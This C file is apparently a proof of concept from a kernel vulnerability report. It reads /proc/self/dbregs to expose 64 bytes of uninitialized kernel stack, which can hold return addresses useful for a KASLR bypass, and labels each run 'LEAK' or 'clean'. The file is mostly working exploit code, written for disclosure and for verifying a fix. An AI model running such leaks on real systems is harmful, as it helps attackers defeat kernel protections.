/*
 * DF-0993 - fill_dbregs() leaves dr[8]-dr[15] uninitialized.
 *
 * struct dbreg (sys/cpu/x86_64/include/reg.h:89) is `unsigned long dr[16]`
 * = 128 bytes. fill_dbregs() at sys/platform/pc64/x86_64/machdep.c:3104-3130
 * only writes dr[0]-dr[7] (64 bytes); dr[8]-dr[15] are never written.
 * procfs_dbregs.c:57 declares `struct dbreg r;` WITHOUT zero-initialization,
 * then uiomove_frombuf(&r, sizeof(r), uio) copies all 128 bytes to userspace.
 *
 * Result: 64 bytes of uninitialized kernel stack are leaked to any unprivileged
 * local user via /proc/self/dbregs (or PT_GETDBREGS). Stack residue routinely
 * contains kernel .text return addresses and kernel heap pointers (KASLR bypass,
 * pointer leak). Same class as DF-0938 (fpregs).
 *
 * Build:  cc -O -o dbregs_leak dbregs_leak.c
 * Run:    ./dbregs_leak   (any unprivileged user)
 *
 * Expected on vulnerable kernel: dr[8..15] (offset 64..127) show VARYING
 * non-zero residue across runs (kernel stack garbage). On a fixed kernel the
 * same bytes read as all-zeros every run.
 */

#include <sys/types.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>

struct dbreg { unsigned long dr[16]; };

static void dump(const struct dbreg *r, const char *tag)
{
    int i;
    printf("== %s ==\n", tag);
    for (i = 0; i < 16; i++) {
        printf("  dr[%2d] = 0x%016lx%s\n", i, r->dr[i],
               (i >= 8) ? "   <-- UNINITIALIZED (should be 0)" : "");
    }
}

static int read_dbregs(struct dbreg *r)
{
    char path[64];
    int fd, n;
    snprintf(path, sizeof(path), "/proc/%d/dbregs", (int)getpid());
    fd = open(path, O_RDONLY);
    if (fd < 0) { perror("open /proc/self/dbregs"); return -1; }
    n = read(fd, r, sizeof(*r));
    close(fd);
    if (n != (int)sizeof(*r)) {
        fprintf(stderr, "short read: %d (expected %zu)\n", n, sizeof(*r));
        return -1;
    }
    return 0;
}

int main(int argc, char **argv)
{
    int mode = (argc > 1) ? atoi(argv[1]) : 0;

    if (mode == 0) {
        /* default: print one verbose dump */
        struct dbreg r;
        if (read_dbregs(&r) < 0) return 2;
        dump(&r, "/proc/self/dbregs");
        unsigned long residue_or = 0; int i;
        for (i = 8; i < 16; i++) residue_or |= r.dr[i];
        printf("[verdict] dr[8..15] residue_or=0x%lx %s\n",
               residue_or, residue_or ? "LEAK" : "clean");
        return 0;  /* always 0 so callers can chain runs */
    }

    if (mode == 1) {
        /* fork-and-read: child does various syscalls first to leave different
         * stack residue, then parent reads. Each fork gets a fresh kernel
         * thread -> fresh stack -> different residue. */
        int round;
        for (round = 0; round < 4; round++) {
            pid_t pid = fork();
            if (pid == 0) {
                struct dbreg r;
                int i;
                /* perturb stack with diverse syscalls */
                if (round & 1) { int x=open("/etc/passwd",O_RDONLY); if(x>=0) close(x); }
                if (round & 2) { socket(2,1,0); }
                for (i=0;i<32;i++) getpid();
                if (read_dbregs(&r) < 0) _exit(2);
                unsigned long residue_or = 0;
                for (i = 8; i < 16; i++) residue_or |= r.dr[i];
                printf("[fork round %d pid %d] residue_or=0x%lx %s\n",
                       round, (int)getpid(), residue_or,
                       residue_or ? "LEAK" : "clean");
                fflush(stdout);
                _exit(residue_or ? 0 : 1);
            }
            wait(NULL);
        }
        return 0;
    }
    return 0;
}
